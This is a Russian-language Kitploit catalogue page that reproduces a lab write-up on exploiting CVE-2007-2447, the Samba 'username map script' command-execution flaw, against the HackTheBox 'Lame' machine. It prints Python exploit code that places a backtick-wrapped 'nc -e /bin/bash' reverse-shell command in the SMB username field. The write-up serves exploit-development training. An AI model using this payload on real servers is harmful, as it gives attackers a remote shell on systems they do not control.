Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/foudadev/cve-2007-2447
Анализ уязвимостейЭксплуатацияТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеИнструмент Удаленного ДоступаРазработка Полезной НагрузкиЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubfoudadev/cve-2007-2447

CVE-2007-2447

Репозиторий
14 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ExploitDev Journey #6 | CVE-2007-2447 | Samba 3.0.20 < 3.0.25rc 'Username' map script' Выполнение команды

Оригинальный эксплойт: https://www.exploit-db.com/exploits/16320

Название эксплойта: Samba username map script RCE
CVE: 2007-2447
Лаборатория: Lame - HackTheBox

Описание

В версиях Samba ниже 3.0.25 существует уязвимость, которая позволяет атакующему выполнять системные команды, отправляя на SMB-сервер некорректно сформированный запрос с именем пользователя.


Как это работает

Вот пример использования команды nohup для создания каталога:

С точки зрения программирования /= означает оператор деления с присваиванием, обычно используемый в циклах. Но зачем нам использовать его здесь?
Причина использования этого оператора — разделить поле домена и поле имени пользователя при отправке запроса; лучшее объяснение можно найти здесь. Мы используем поле имени пользователя, чтобы открыть netcat-соединение и подключиться к нашему серверу.


Пишем эксплойт

Писать эксплойт очень просто, потому что для Python уже есть библиотека SMB Client (установите пакет python3-samba), так что всё, что вам нужно сделать, — использовать её следующим образом:

root@kitploit:~
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')

try:
    print("Sending payload")
    conn.connect(rhost, rport, timeout=10)
except Exception as e:
    sys.exit(e)

Давайте разберёмся, как работает SMBConnection. Я указал username, но что это за три другие пустые строки?
Эти три других аргумента: password, my_name и remote_name

Для того чтобы наш эксплойт было легко читать, мы можем явно указать их вместе со значениями, но значения аргументов после username не обязательны:

root@kitploit:~
conn = SMBConnection(username=username, password='', my_name='', remote_name='')

Следующую часть понять проще: мы используем экземпляр класса SMBConnection для установки соединения и передаём IP-адрес цели, порт и таймаут в секундах:

root@kitploit:~
conn.connect(rhost, rport, timeout=10)

Заключительные мысли

На этом занятии по разработке эксплойтов вы узнали о создании SMB-клиента и подключении к SMB-серверу. Вы также узнали о командах Linux, таких как nohup, с которыми можно поэкспериментировать позже. Вы узнали, как подключиться к машине атакующего с машины жертвы с помощью netcat, — это может пригодиться в вашем пути разработчика эксплойтов.

Скачать инструмент